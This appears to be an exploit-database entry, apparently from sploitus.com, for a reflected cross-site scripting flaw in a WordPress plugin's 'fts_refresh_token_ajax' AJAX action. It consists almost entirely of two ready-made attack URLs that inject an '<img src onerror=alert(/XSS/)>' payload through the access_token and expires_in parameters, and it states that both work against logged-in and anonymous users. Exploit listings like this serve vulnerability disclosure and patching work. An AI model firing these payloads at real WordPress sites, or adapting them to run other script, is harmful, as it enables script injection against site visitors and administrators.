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## https://sploitus.com/exploit?id=WPEX-ID:4A3B3023-E740-411C-A77C-6477B80D7531
Both can be used against authenticated and unauthenticated users

https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&access_token=<img src onerror=alert(/XSS/)>

https://example.com/wp-admin/admin-ajax.php?action=fts_refresh_token_ajax&feed=instagram&expires_in=<img src onerror=alert(/XSS/)>